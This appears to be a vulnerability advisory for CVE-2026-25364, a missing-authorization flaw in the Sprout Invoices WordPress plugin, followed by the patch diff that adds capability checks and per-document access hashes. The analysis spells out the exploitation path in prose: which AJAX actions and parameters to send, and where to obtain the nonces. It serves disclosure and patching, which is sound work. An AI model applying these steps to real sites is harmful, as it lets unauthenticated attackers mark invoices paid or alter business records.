Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-25364: Client Invoicing by Sprout Invoices <= 20.8.8 – Missing Authorization (sprout-invoices)

Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 20.8.8
Patched Version 20.8.9
Disclosed February 14, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-25364:
The vulnerability is a missing authorization flaw in the Client Invoicing by Sprout Invoices WordPress plugin affecting versions up to 20.8.8. The vulnerability allows unauthenticated attackers to perform unauthorized actions on invoice and estimate documents via AJAX endpoints. The CVSS score of 5.3 reflects a medium severity issue with potential for data manipulation.

The root cause is the absence of capability checks in two AJAX handler functions within the _Controller.php file. The `maybe_create_private_note()` function (lines 959-1008) and `maybe_change_status()` function (lines 1026-1114) lacked proper authorization validation. Both functions accepted requests via the WordPress admin-ajax.php endpoint and performed document operations without verifying if the requester had appropriate permissions. The functions only checked for nonce validation via `wp_verify_nonce()`, which provides CSRF protection but not authorization.

Exploitation requires sending POST requests to /wp-admin/admin-ajax.php with specific action parameters. For private note creation, attackers use action=si_maybe_create_private_note with parameters including private_note_nonce, associated_id, and notes. For status changes, attackers use action=si_maybe_change_status with parameters change_status_nonce, id, and status. The nonce values can be obtained from publicly accessible invoice or estimate pages, as these pages include the nonce in JavaScript variables. Attackers can then manipulate any document by providing the document ID and desired payload.

The patch implements a dual authentication model in version 20.8.9. For authenticated users, the patch adds capability checks: `current_user_can(‘edit_sprout_invoices’)` for note creation and `current_user_can(‘edit_post’, $doc_id)` for status changes. For unauthenticated users, the patch introduces document-specific access hashes. The system now requires a doc_hash parameter that must match a cryptographically secure hash stored with each document. The SI_Upgrades class generates these hashes for existing documents during migration. The patch also adds the ensure_doc_hash() function to generate missing hashes on-the-fly, preventing race conditions.

The impact of successful exploitation includes unauthorized modification of invoice and estimate statuses, potentially marking invoices as paid without actual payment or changing estimate statuses to accepted. Attackers can also create private notes on documents, which could be used for defacement, social engineering, or false communication. While the vulnerability doesn’t directly enable privilege escalation or remote code execution, it allows manipulation of financial documents and business records, potentially leading to financial loss or business disruption.

Differential between vulnerable and patched code

Code Diff
--- a/sprout-invoices/Sprout_Invoices.class.php
+++ b/sprout-invoices/Sprout_Invoices.class.php
@@ -35,7 +35,7 @@
 	 * Current version. Should match sprout-invoices.php plugin version.
 	 */

-	const SI_VERSION = '20.8.8';
+	const SI_VERSION = '20.8.9';

 	/**
 	 * DB Version
--- a/sprout-invoices/controllers/_Controller.php
+++ b/sprout-invoices/controllers/_Controller.php
@@ -24,7 +24,6 @@

 	public static function init() {
 		if ( is_admin() ) {
-
 			// On Activation
 			add_action( 'si_plugin_activation_hook', array( __CLASS__, 'sprout_invoices_activated' ) );

@@ -114,15 +113,18 @@
 		if ( is_admin() ) {
 			return $query;
 		}
+
 		if ( $query->is_single() ) {
 			return $query;
 		}
+
 		if ( $query->is_main_query() ) {
 			$type = $query->get( 'post_type' );
 			if ( in_array( $type, array( SI_Invoice::POST_TYPE, SI_Estimate::POST_TYPE ) ) ) {
 				$query->set( 'post_type', 'post' );
 			}
 		}
+
 		return $query;
 	}

@@ -141,12 +143,14 @@
 	 */
 	public static function sprout_invoices_activated() {
 		add_option( 'si_do_activation_redirect', true );
+
 		// Get the previous version number
 		$si_version = get_option( 'si_current_version', self::SI_VERSION );
 		if ( version_compare( $si_version, self::SI_VERSION, '<' ) ) { // If an upgrade create some hooks
 			do_action( 'si_version_upgrade', $si_version );
 			do_action( 'si_version_upgrade_'.$si_version );
 		}
+
 		// Set the new version number
 		update_option( 'si_current_version', self::SI_VERSION );
 	}
@@ -205,19 +209,24 @@
 			'locale_standard' => str_replace( '_', '-', get_locale() ),
 			'inline_spinner' => '<span class="spinner si_inline_spinner" style="visibility:visible;display:inline-block;"></span>',
 		);
+
 		if ( is_single() && ( get_post_type( get_the_ID() ) === SI_Invoice::POST_TYPE ) ) {
 			$si_js_object += array(
 				'invoice_id' => get_the_ID(),
 				'invoice_amount' => si_get_invoice_calculated_total(),
 				'invoice_balance' => si_get_invoice_balance(),
+				'doc_hash' => SI_Upgrades::ensure_doc_hash( get_the_ID() ),
 			);
 		}
+
 		if ( is_single() && ( get_post_type( get_the_ID() ) === SI_Estimate::POST_TYPE ) ) {
 			$si_js_object += array(
 				'estimate_id' => get_the_ID(),
 				'estimate_total' => si_get_estimate_total(),
+				'doc_hash' => SI_Upgrades::ensure_doc_hash( get_the_ID() ),
 			);
 		}
+
 		return apply_filters( 'si_sprout_doc_scripts_localization', $si_js_object );
 	}

@@ -228,9 +237,7 @@
 		$screen = get_current_screen();
 		$screen_post_type = str_replace( 'edit-', '', $screen->id );
 		if ( in_array( $screen_post_type, array( SI_Estimate::POST_TYPE, SI_Invoice::POST_TYPE ) ) ) {
-
 			if ( ! SI_FREE_TEST && file_exists( SI_PATH.'/resources/admin/plugins/redactor/redactor.min.js' ) ) {
-
 				$add_to_js_object['redactor'] = true;

 				wp_enqueue_script( 'redactor' );
@@ -250,14 +257,12 @@
 		}

 		if ( SI_Client::POST_TYPE === $screen_post_type ) {
-
 			wp_enqueue_script( 'si_admin_est_and_invoices' );

 			self::enqueue_general_scripts_styles();
 		}

 		if ( SI_Project::POST_TYPE === $screen_post_type ) {
-
 			wp_enqueue_script( 'si_admin_est_and_invoices' );

 			self::enqueue_general_scripts_styles();
@@ -265,7 +270,6 @@

 		if ( self::is_si_admin() ) {
 			if ( ! SI_FREE_TEST && file_exists( SI_PATH.'/resources/admin/plugins/redactor/redactor.min.js' ) ) {
-
 				$add_to_js_object['redactor'] = true;

 				wp_enqueue_script( 'redactor' );
@@ -292,7 +296,6 @@
 	}

 	public static function enqueue_general_scripts_styles( $scripts = array() ) {
-
 		// Defaults
 		if ( empty( $scripts ) ) {
 			$scripts = array( 'dropdown', 'select2', 'qtip' );
@@ -348,10 +351,12 @@
 		if ( self::DEBUG ) {
 			wp_clear_scheduled_hook( self::CRON_HOOK );
 		}
+
 		if ( ! wp_next_scheduled( self::CRON_HOOK ) ) {
 			$interval = apply_filters( 'si_set_schedule', 'quarterhour' );
 			wp_schedule_event( time(), $interval, self::CRON_HOOK );
 		}
+
 		if ( ! wp_next_scheduled( self::DAILY_CRON_HOOK ) ) {
 			wp_schedule_event( time(), 'daily', self::DAILY_CRON_HOOK );
 		}
@@ -395,7 +400,10 @@
 		$file = apply_filters( 'sprout_invoice_template_'.$view, $file );

 		$args = apply_filters( 'load_view_args_'.$view, $args, $allow_theme_override );
-		if ( ! empty( $args ) ) { extract( $args ); }
+		if ( ! empty( $args ) ) {
+			extract( $args );
+		}
+
 		include $file;
 	}

@@ -430,6 +438,7 @@
 		foreach ( $possibilities as $p ) {
 			$theme_overrides[] = self::get_template_path().'/'.$p;
 		}
+
 		if ( $found = locate_template( $theme_overrides, false ) ) {
 			return $found;
 		}
@@ -508,10 +517,12 @@
 		if ( ! isset( self::$messages ) ) {
 			self::load_messages();
 		}
+
 		$message = __( $message, 'sprout-invoices' );
 		if ( ! isset( self::$messages[ $status ] ) ) {
 			self::$messages[ $status ] = array();
 		}
+
 		self::$messages[ $status ][] = $message;
 		if ( $save ) {
 			self::save_messages();
@@ -531,6 +542,7 @@
 				set_transient( 'si_messaging_for_'.self::get_user_ip(), self::$messages, 300 );
 			}
 		}
+
 		update_user_meta( $user_id, $blog_id.'_'.self::MESSAGE_META_KEY, self::$messages );
 	}

@@ -538,6 +550,7 @@
 		if ( ! isset( self::$messages ) ) {
 			self::load_messages();
 		}
+
 		return self::$messages;
 	}

@@ -552,6 +565,7 @@
 			global $blog_id;
 			$messages = get_user_meta( $user_id, $blog_id.'_'.self::MESSAGE_META_KEY, true );
 		}
+
 		if ( $messages ) {
 			self::$messages = $messages;
 		} else {
@@ -566,6 +580,7 @@
 			if ( isset( self::$messages[ self::MESSAGE_STATUS_INFO ] ) ) {
 				$statuses[] = self::MESSAGE_STATUS_INFO;
 			}
+
 			if ( isset( self::$messages[ self::MESSAGE_STATUS_ERROR ] ) ) {
 				$statuses[] = self::MESSAGE_STATUS_ERROR;
 			}
@@ -576,6 +591,7 @@
 		if ( ! isset( self::$messages ) ) {
 			self::load_messages();
 		}
+
 		foreach ( $statuses as $status ) {
 			foreach ( self::$messages[ $status ] as $message ) {
 				self::load_view( 'templates/messages', array(
@@ -585,6 +601,7 @@
 			}
 			self::$messages[ $status ] = array();
 		}
+
 		self::save_messages();
 		if ( defined( 'DOING_AJAX' ) ) {
 			exit();
@@ -600,9 +617,11 @@
 					$redirect = urlencode( add_query_arg( $_REQUEST, $redirect ) );
 				}
 			}
+
 			wp_redirect( wp_login_url( $redirect ) );
 			exit();
 		}
+
 		return true; // explicit return value, for the benefit of the router plugin
 	}

@@ -613,10 +632,12 @@
 		global $blog_id;

 		if ( empty( $blog_id ) || ! is_multisite() ) {
-			$url = get_option( 'home' ); } else {
-			$url = get_blog_option( $blog_id, 'home' ); }
+			$url = get_option( 'home' );
+		} else {
+			$url = get_blog_option( $blog_id, 'home' );
+		}

-			return apply_filters( 'si_get_home_url_option', esc_url( $url ) );
+		return apply_filters( 'si_get_home_url_option', esc_url( $url ) );
 	}

 	/**
@@ -624,11 +645,13 @@
 	 */
 	public static function sort_by_weight( $a, $b ) {
 		if ( ! isset( $a['weight'] ) || ! isset( $b['weight'] ) ) {
-			return 0; }
+			return 0;
+		}

 		if ( $a['weight'] == $b['weight'] ) {
 			return 0;
 		}
+
 		return ( $a['weight'] < $b['weight'] ) ? -1 : 1;
 	}

@@ -637,11 +660,13 @@
 	 */
 	public static function sort_by_date( $a, $b ) {
 		if ( ! isset( $a['date'] ) || ! isset( $b['date'] ) ) {
-			return 0; }
+			return 0;
+		}

 		if ( $a['date'] == $b['date'] ) {
 			return 0;
 		}
+
 		return ( $a['date'] < $b['date'] ) ? -1 : 1;
 	}

@@ -660,6 +685,7 @@
 		if ( ! defined( 'DONOTCACHEPAGE' ) ) {
 			define( 'DONOTCACHEPAGE', true );
 		}
+
 		nocache_headers();
 	}

@@ -672,15 +698,11 @@
 	public static function clear_post_cache( $post_id ) {
 		if ( function_exists( 'wp_cache_post_change' ) ) {
 			// WP Super Cache
-
 			$GLOBALS['super_cache_enabled'] = 1;
 			wp_cache_post_change( $post_id );
-
 		} elseif ( function_exists( 'w3tc_pgcache_flush_post' ) ) {
 			// W3 Total Cache
-
 			w3tc_pgcache_flush_post( $post_id );
-
 		}
 	}

@@ -694,7 +716,6 @@
 		$post = get_post( $post_id );
 		$new_post_id = 0;
 		if ( isset( $post ) && $post != null ) {
-
 			if ( $new_post_type == '' ) {
 				$new_post_type = $post->post_type;
 			}
@@ -761,6 +782,7 @@
 				$date = current_time( 'timestamp' ) + ( DAY_IN_SECONDS * $days );
 				$invoice->set_due_date( $date );
 			}
+
 			// estimate clean up.
 			if ( SI_Estimate::POST_TYPE === $post->post_type ) {
 				// set dates.
@@ -773,6 +795,7 @@
 				}
 			}
 		}
+
 		// end
 		do_action( 'si_cloned_post', $new_post_id, $post_id, $new_post_type, $new_post_status );
 		return $new_post_id;
@@ -803,6 +826,7 @@
 		if ( $new_post_type != '' ) {
 			$url = add_query_arg( array( 'post_type' => $new_post_type ), esc_url_raw( $url ) );
 		}
+
 		return apply_filters( 'si_get_clone_post_url', esc_url_raw( $url ), $post_id, $new_post_type );
 	}

@@ -824,8 +848,10 @@
 			if ( is_a( $client, 'SI_Client' ) ) {
 				$address = $client->get_address();
 			}
+
 			$user = get_userdata( $user_id );
 		}
+
 		$fields = array();
 		$fields['first_name'] = array(
 			'weight' => 50,
@@ -908,7 +934,6 @@
 	////////////////////

 	public static function ajax_number_formatter() {
-
 		if ( ! isset( $_REQUEST['number'] ) ) {
 			self::ajax_fail( 'Forget something?' );
 		}
@@ -925,25 +950,50 @@
 			'int' => (int) si_get_number_format( $number ),
 			);
 		header( 'Content-type: application/json' );
-		if ( self::DEBUG ) { header( 'Access-Control-Allow-Origin: *' ); }
+		if ( self::DEBUG ) {
+			header( 'Access-Control-Allow-Origin: *' );
+		}
+
 		echo wp_json_encode( $currency );
 		exit();

 	}

 	public static function maybe_create_private_note() {
-
 		if ( ! isset( $_REQUEST['private_note_nonce'] ) ) {
 			self::ajax_fail( 'Forget something?' );
 		}

 		if ( ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_REQUEST['private_note_nonce'] ) ), SI_Internal_Records::NONCE ) ) {
-			self::ajax_fail( 'We couldn’t process that request. Please contact system adminstrator.' ); }
+			self::ajax_fail( 'We could not process that request. Please contact system administrator.' );
+		}

-		if ( ! current_user_can( 'edit_sprout_invoices' ) ) {
-			return; }
-		$notes = isset( $_REQUEST['notes'] ) ? sanitize_text_field( wp_unslash( $_REQUEST['notes'] ) ) : '';
 		$associated_id = isset( $_REQUEST['associated_id'] ) ? sanitize_text_field( wp_unslash( $_REQUEST['associated_id'] ) ) : 0;
+
+		// Authorization check: Either logged in with permission OR has the secret access hash
+		if ( is_user_logged_in() ) {
+			// Authenticated users need edit_sprout_invoices capability
+			if ( ! current_user_can( 'edit_sprout_invoices' ) ) {
+				self::ajax_fail( 'You do not have permission to create notes.' );
+			}
+		} else {
+			// Unauthenticated users must provide the correct access hash for THIS specific document
+			if ( ! isset( $_REQUEST['doc_hash'] ) ) {
+				self::ajax_fail( 'Missing document access key.' );
+			}
+
+			$provided_hash = sanitize_text_field( wp_unslash( $_REQUEST['doc_hash'] ) );
+
+			// Ensure hash exists (generates on-the-fly if missing)
+			$actual_hash = SI_Upgrades::ensure_doc_hash( $associated_id );
+
+			// Verify the provided hash matches this specific document's hash
+			if ( empty( $actual_hash ) || ! hash_equals( $actual_hash, $provided_hash ) ) {
+				self::ajax_fail( 'Invalid document access key.' );
+			}
+		}
+
+		$notes = isset( $_REQUEST['notes'] ) ? sanitize_text_field( wp_unslash( $_REQUEST['notes'] ) ) : '';
 		$record_id = SI_Internal_Records::new_record( $notes, SI_Controller::PRIVATE_NOTES_TYPE, sanitize_text_field( wp_unslash( $_REQUEST['associated_id'] ) ), '', 0, false );
 		$error = ( $record_id ) ? '' : esc_html__( 'Private note failed to save, try again.', 'sprout-invoices' );
 		$data = array(
@@ -955,7 +1005,10 @@
 		);

 		header( 'Content-type: application/json' );
-		if ( self::DEBUG ) { header( 'Access-Control-Allow-Origin: *' ); }
+		if ( self::DEBUG ) {
+			header( 'Access-Control-Allow-Origin: *' );
+		}
+
 		echo wp_json_encode( $data );
 		exit();

@@ -964,27 +1017,58 @@
 	/**
 	 * Maybe Change Status
 	 *
-	 * Note: There is no need to check if the user can edit the post
-	 * because this system is designed in a way that anyone with the
-	 * link to the invoice or estimate can change the status. This is
-	 * because the link to the invoice or estimate is a private hashed
-	 * link. Nonce is used to prevent CSRF attacks.
+	 * Allows users to change invoice/estimate status via AJAX.
+	 *
+	 * Security model:
+	 * - Authenticated users: Must have edit_post capability for the document
+	 * - Unauthenticated users: Must provide the correct post hash for the specific document
+	 *
+	 * The post hash acts as a secret token - only those with the full URL can change status.
+	 * This enables client self-service without requiring WordPress accounts.
 	 */
 	public static function maybe_change_status() {
 		if ( ! isset( $_REQUEST['change_status_nonce'] ) ) {
-			self::ajax_fail( 'Forget something?' ); }
+			self::ajax_fail( 'Forget something?' );
+		}

 		if ( ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_REQUEST['change_status_nonce'] ) ) , self::NONCE ) ) {
-			self::ajax_fail( 'We couldn’t process that request. Please contact system adminstrator.' ); }
+			self::ajax_fail( 'We could not process that request. Please contact system administrator.' );
+		}

 		if ( ! isset( $_REQUEST['id'] ) ) {
-			self::ajax_fail( 'Forget something?' ); }
+			self::ajax_fail( 'Forget something?' );
+		}

 		if ( ! isset( $_REQUEST['status'] ) ) {
-			self::ajax_fail( 'Forget something?' ); }
+			self::ajax_fail( 'Forget something?' );
+		}

-		$view = '';
 		$doc_id = sanitize_text_field( wp_unslash( $_REQUEST['id'] ) );
+
+		// Authorization check: Either logged in with permission OR has the secret access hash
+		if ( is_user_logged_in() ) {
+			// Authenticated users need edit permission
+			if ( ! current_user_can( 'edit_post', $doc_id ) ) {
+				self::ajax_fail( 'You do not have permission to change this status.' );
+			}
+		} else {
+			// Unauthenticated users must provide the correct access hash for THIS specific document
+			if ( ! isset( $_REQUEST['doc_hash'] ) ) {
+				self::ajax_fail( 'Missing document access key.' );
+			}
+
+			$provided_hash = sanitize_text_field( wp_unslash( $_REQUEST['doc_hash'] ) );
+
+			// Ensure hash exists (generates on-the-fly if missing)
+			$actual_hash = SI_Upgrades::ensure_doc_hash( $doc_id );
+
+			// Verify the provided hash matches this specific document's hash
+			if ( empty( $actual_hash ) || ! hash_equals( $actual_hash, $provided_hash ) ) {
+				self::ajax_fail( 'Invalid document access key.' );
+			}
+		}
+
+		$view = '';
 		$new_status = sanitize_text_field( wp_unslash( $_REQUEST['status'] ) );
 		switch ( get_post_type( $doc_id ) ) {
 			case SI_Invoice::POST_TYPE:
@@ -1025,7 +1109,11 @@
 		do_action( 'doc_status_changed', $doc, $_REQUEST );

 		header( 'Content-type: application/json' );
-		if ( self::DEBUG ) { header( 'Access-Control-Allow-Origin: *' ); }
+
+		if ( self::DEBUG ) {
+			header( 'Access-Control-Allow-Origin: *' );
+		}
+
 		echo wp_json_encode( array( 'new_button' => $view ) );
 		exit();

@@ -1093,22 +1181,33 @@
 		if ( $message == '' ) {
 			$message = __( 'Something failed.', 'sprout-invoices' );
 		}
-		if ( $json ) { header( 'Content-Type: application/json; charset=' . get_option( 'blog_charset' ) ); }
-		if ( self::DEBUG ) { header( 'Access-Control-Allow-Origin: *' ); }
+
+		if ( $json ) {
+			header( 'Content-Type: application/json; charset=' . get_option( 'blog_charset' ) );
+		}
+
+		if ( self::DEBUG ) {
+			header( 'Access-Control-Allow-Origin: *' );
+		}
+
 		if ( $json ) {
 			echo wp_json_encode( array( 'error' => 1, 'response' => esc_html( $message ) ) );
 		} else {
 			wp_send_json( $message );
 		}
+
 		exit();
 	}

 	public static function get_user_ip() {

-		if ( isset( $_SERVER['HTTP_USER_AGENT'] ) && preg_match( '/bot|crawl|slurp|spider|mediapartners/i', sanitize_text_field( wp_unslash( $_SERVER['HTTP_USER_AGENT'] ) ) )
+		if (
+			isset( $_SERVER['HTTP_USER_AGENT'] )
+			&& preg_match( '/bot|crawl|slurp|spider|mediapartners/i', sanitize_text_field( wp_unslash( $_SERVER['HTTP_USER_AGENT'] ) ) )
 		) {
 			return false;
 		}
+
 		$client  = isset( $_SERVER['HTTP_CLIENT_IP'] ) ? sanitize_text_field( wp_unslash( $_SERVER['HTTP_CLIENT_IP'] ) ) : '';
 		$forward = isset( $_SERVER['HTTP_X_FORWARDED_FOR'] ) ? sanitize_text_field( wp_unslash( $_SERVER['HTTP_X_FORWARDED_FOR'] ) ) : '';
 		$remote  = isset( $_SERVER['REMOTE_ADDR']) ? sanitize_text_field( wp_unslash( $_SERVER['REMOTE_ADDR'] ) ) : '';
@@ -1121,6 +1220,7 @@
 		} elseif ( filter_var( $remote, FILTER_VALIDATE_IP ) ) {
 			$ip = $remote;
 		}
+
 		return apply_filters( 'si_get_user_ip', $ip );
 	}

@@ -1131,15 +1231,18 @@
 		if ( ! is_numeric( $number ) ) {
 			return $number;
 		}
+
 		if ( ! $number ) {
 			return 'zero';
 		}
+
 		$ends = array( 'th','st','nd','rd','th','th','th','th','th','th' );
 		if ( ($number % 100) >= 11 && ($number % 100) <= 13 ) {
 			$abbreviation = $number. 'th';
 		} else {
 			$abbreviation = $number. $ends[ $number % 10 ];
 		}
+
 		return $abbreviation;

 	}
--- a/sprout-invoices/controllers/admin/Upgrades.php
+++ b/sprout-invoices/controllers/admin/Upgrades.php
@@ -0,0 +1,182 @@
+<?php
+/**
+ * Upgrade/Migration Controller
+ *
+ * Handles automatic database migrations and upgrades when plugin is updated
+ *
+ * @package Sprout_Invoice
+ * @subpackage Admin
+ */
+class SI_Upgrades extends SI_Controller {
+	const OPTION_KEY = 'si_db_version';
+	const HASH_MIGRATION_VERSION = '20.8.9'; // Version when hash authentication was added
+
+	public static function init() {
+		// Run on plugin activation
+		add_action( 'si_plugin_activation_hook', array( __CLASS__, 'maybe_run_upgrades' ), 20 );
+
+		// Check on init to ensure migration runs regardless of whether admin visits site
+		// This prevents race condition where clients access invoices before migration completes
+		add_action( 'init', array( __CLASS__, 'maybe_run_upgrades' ), 5 );
+	}
+
+	/**
+	 * Check if upgrades need to run and execute them
+	 */
+	public static function maybe_run_upgrades() {
+		static $did_run = false;
+
+		// Prevent multiple executions within the same request.
+		if ( $did_run ) {
+			return;
+		}
+
+		$did_run = true;
+
+		$current_db_version = get_option( self::OPTION_KEY, '0' );
+		$plugin_version = Sprout_Invoices::SI_VERSION;
+
+		// If this is a fresh install or upgrade is needed
+		if ( version_compare( $current_db_version, $plugin_version, '<' ) ) {
+			self::run_upgrades( $current_db_version, $plugin_version );
+
+			// Update stored version
+			update_option( self::OPTION_KEY, $plugin_version );
+		}
+	}
+
+	/**
+	 * Run necessary upgrade routines based on version
+	 *
+	 * @param string $from_version Version upgrading from
+	 * @param string $to_version   Version upgrading to
+	 */
+	private static function run_upgrades( $from_version, $to_version ) {
+		// Hash authentication migration (added in 20.8.9)
+		if ( version_compare( $from_version, self::HASH_MIGRATION_VERSION, '<' ) ) {
+			self::upgrade_add_access_hashes();
+		}
+
+		// Future upgrades can be added here
+		// Example:
+		// if ( version_compare( $from_version, '21.0.0', '<' ) ) {
+		//     self::upgrade_some_new_feature();
+		// }
+
+		do_action( 'si_after_upgrades', $from_version, $to_version );
+	}
+
+	/**
+	 * Upgrade: Generate access hashes for existing documents
+	 *
+	 * This migration generates secure access hashes for all existing invoices
+	 * and estimates to support the hash-based authentication system.
+	 */
+	private static function upgrade_add_access_hashes() {
+		// Prevent timeout on large databases
+		set_time_limit( 300 ); // 5 minutes
+
+		// Generate hashes for invoices
+		$invoices = get_posts( array(
+			'post_type'      => SI_Invoice::POST_TYPE,
+			'posts_per_page' => -1,
+			'post_status'    => 'any',
+			'fields'         => 'ids',
+		) );
+
+		$invoice_count = 0;
+		foreach ( $invoices as $invoice_id ) {
+			$existing_hash = get_post_meta( $invoice_id, '_invoice_access_hash', true );
+			if ( empty( $existing_hash ) ) {
+				$hash = bin2hex( random_bytes( 32 ) );
+				update_post_meta( $invoice_id, '_invoice_access_hash', $hash );
+				$invoice_count++;
+			}
+		}
+
+		// Generate hashes for estimates
+		$estimates = get_posts( array(
+			'post_type'      => SI_Estimate::POST_TYPE,
+			'posts_per_page' => -1,
+			'post_status'    => 'any',
+			'fields'         => 'ids',
+		) );
+
+		$estimate_count = 0;
+		foreach ( $estimates as $estimate_id ) {
+			$existing_hash = get_post_meta( $estimate_id, '_estimate_access_hash', true );
+			if ( empty( $existing_hash ) ) {
+				$hash = bin2hex( random_bytes( 32 ) );
+				update_post_meta( $estimate_id, '_estimate_access_hash', $hash );
+				$estimate_count++;
+			}
+		}
+
+		// Log the migration
+		do_action( 'si_log', 'Hash Migration Complete', sprintf(
+			'Generated hashes for %d invoices and %d estimates',
+			$invoice_count,
+			$estimate_count
+		) );
+
+		// Store flag that this specific migration has run
+		update_option( 'si_hash_migration_completed', true );
+	}
+
+	/**
+	 * Check if hash migration has been completed
+	 *
+	 * @return bool
+	 */
+	public static function is_hash_migration_complete() {
+		return (bool) get_option( 'si_hash_migration_completed', false );
+	}
+
+	/**
+	 * Get current database version
+	 *
+	 * @return string
+	 */
+	public static function get_db_version() {
+		return get_option( self::OPTION_KEY, '0' );
+	}
+
+	/**
+	 * Ensure a document has an access hash, generating one if missing
+	 *
+	 * This provides a fallback for the race condition where clients access
+	 * documents before the migration runs on admin_init.
+	 *
+	 * @param int $post_id The document ID
+	 * @return string The access hash
+	 */
+	public static function ensure_doc_hash( $post_id ) {
+		$post_type = get_post_type( $post_id );
+		$hash_meta_key = '';
+
+		if ( $post_type === SI_Invoice::POST_TYPE ) {
+			$hash_meta_key = '_invoice_access_hash';
+		} elseif ( $post_type === SI_Estimate::POST_TYPE ) {
+			$hash_meta_key = '_estimate_access_hash';
+		} else {
+			return '';
+		}
+
+		$hash = get_post_meta( $post_id, $hash_meta_key, true );
+
+		// If hash doesn't exist, generate it now
+		if ( empty( $hash ) ) {
+			$hash = bin2hex( random_bytes( 32 ) );
+			update_post_meta( $post_id, $hash_meta_key, $hash );
+
+			// Log that we had to generate a hash on-the-fly
+			do_action( 'si_log', 'Generated Hash On-Demand', sprintf(
+				'Generated access hash for %s ID %d (migration may not have run yet)',
+				$post_type,
+				$post_id
+			) );
+		}
+
+		return $hash;
+	}
+}
--- a/sprout-invoices/controllers/notifications/Notifications.php
+++ b/sprout-invoices/controllers/notifications/Notifications.php
@@ -963,6 +963,12 @@
 		if ( isset( $data['invoice'] ) && is_a( $data['invoice'], 'SI_Invoice' ) ) {
 			$invoice_id = $data['invoice']->get_id();
 			$url = get_permalink( $invoice_id );
+
+			// Append access hash for client authentication (generates on-the-fly if missing)
+			$hash = SI_Upgrades::ensure_doc_hash( $invoice_id );
+			if ( ! empty( $hash ) ) {
+				$url = add_query_arg( 'hash', $hash, $url );
+			}
 		}
 		return apply_filters( 'shortcode_invoice_url', esc_url_raw( $url ), $data );
 	}
@@ -1463,6 +1469,12 @@
 		if ( isset( $data['estimate'] ) && is_a( $data['estimate'], 'SI_Estimate' ) ) {
 			$estimate_id = $data['estimate']->get_id();
 			$url = get_permalink( $estimate_id );
+
+			// Append access hash for client authentication (generates on-the-fly if missing)
+			$hash = SI_Upgrades::ensure_doc_hash( $estimate_id );
+			if ( ! empty( $hash ) ) {
+				$url = add_query_arg( 'hash', $hash, $url );
+			}
 		}
 		return apply_filters( 'shortcode_estimate_url', esc_url_raw( $url ), $data );
 	}
--- a/sprout-invoices/importers/Importer.php
+++ b/sprout-invoices/importers/Importer.php
@@ -210,6 +210,11 @@
 			self::ajax_fail( 'Not going to fall for it!' );
 		}

+		// Check if user is logged in and has import permissions
+		if ( ! current_user_can( 'manage_sprout_invoices_importer' ) ) {
+			self::ajax_fail( 'You do not have permission to import data.' );
+		}
+
 		$class = isset( $_REQUEST['importer'] ) ? sanitize_text_field( wp_unslash( $_REQUEST['importer'] ) ) : '';
 		$method = isset( $_REQUEST['method'] ) ? 'import_' . sanitize_text_field( wp_unslash( $_REQUEST['method'] ) ) : '';
 		if ( method_exists( $class, $method ) ) {
--- a/sprout-invoices/load.php
+++ b/sprout-invoices/load.php
@@ -67,6 +67,9 @@

 	require_once SI_PATH.'/controllers/admin/Help.php';

+	// upgrades and migrations
+	require_once SI_PATH.'/controllers/admin/Upgrades.php';
+
 	// json api
 	// require_once SI_PATH.'/controllers/api/JSON_API.php';

@@ -247,6 +250,9 @@

 	SI_Admin_Capabilities::init();

+	// upgrades and migrations
+	SI_Upgrades::init();
+
 	// updates
 	if ( ! SI_FREE_TEST && class_exists( 'SI_Updates' ) ) {
 		SI_Updates::init();
--- a/sprout-invoices/models/Estimate.php
+++ b/sprout-invoices/models/Estimate.php
@@ -26,6 +26,7 @@

 	// meta fields with a prefixed key of _doc are transferable (when cloned) to invoices
 	private static $meta_keys = array(
+		'access_hash' => '_estimate_access_hash', // string - unique hash for client access
 		'client_id' => '_client_id', // int
 		'currency' => '_doc_currency', // string
 		'discount' => '_doc_discount', // int
@@ -66,6 +67,9 @@
 		);
 		self::register_post_type( self::POST_TYPE, 'Estimate', 'Estimates', $post_type_args );

+		// Generate access hash on estimate save
+		add_action( 'save_post_' . self::POST_TYPE, array( __CLASS__, 'maybe_generate_access_hash' ), 10, 1 );
+
 		// register category taxonomy
 		// TODO remove since it's now deprecated
 		$singular = 'Task';
@@ -79,6 +83,23 @@
 		self::register_post_statuses();
 	}

+	/**
+	 * Generate a unique access hash for this estimate if one doesn't exist
+	 *
+	 * @param int $post_id The post ID
+	 * @return void
+	 */
+	public static function maybe_generate_access_hash( $post_id ) {
+		// Check if hash already exists
+		$existing_hash = get_post_meta( $post_id, '_estimate_access_hash', true );
+
+		if ( empty( $existing_hash ) ) {
+			// Generate a cryptographically secure random hash
+			$hash = bin2hex( random_bytes( 32 ) ); // 64 character hex string
+			update_post_meta( $post_id, '_estimate_access_hash', $hash );
+		}
+	}
+
 	public static function get_statuses() {
 		$statuses = array(
 			self::STATUS_TEMP => __( 'Draft', 'sprout-invoices' ),
--- a/sprout-invoices/models/Invoice.php
+++ b/sprout-invoices/models/Invoice.php
@@ -34,6 +34,7 @@
 	 */
 	private static $meta_keys = array(
 		// migrated/match of estimates
+		'access_hash'     => '_invoice_access_hash', // string - unique hash for client access
 		'client_id'       => '_client_id', // int
 		'currency'        => '_doc_currency', // string
 		'deposit'         => '_deposit', // float
@@ -133,6 +134,26 @@
 		self::register_post_type( self::POST_TYPE, 'Invoice', 'Invoices', $post_type_args );

 		self::register_post_statuses();
+
+		// Generate access hash on invoice save
+		add_action( 'save_post_' . self::POST_TYPE, array( __CLASS__, 'maybe_generate_access_hash' ), 10, 1 );
+	}
+
+	/**
+	 * Generate a unique access hash for this invoice if one doesn't exist
+	 *
+	 * @param int $post_id The post ID
+	 * @return void
+	 */
+	public static function maybe_generate_access_hash( $post_id ) {
+		// Check if hash already exists
+		$existing_hash = get_post_meta( $post_id, '_invoice_access_hash', true );
+
+		if ( empty( $existing_hash ) ) {
+			// Generate a cryptographically secure random hash
+			$hash = bin2hex( random_bytes( 32 ) ); // 64 character hex string
+			update_post_meta( $post_id, '_invoice_access_hash', $hash );
+		}
 	}

 	public static function get_statuses() {
--- a/sprout-invoices/sprout-invoices.php
+++ b/sprout-invoices/sprout-invoices.php
@@ -3,7 +3,7 @@
  * Plugin Name: Sprout Invoices
  * Plugin URI: https://sproutinvoices.com
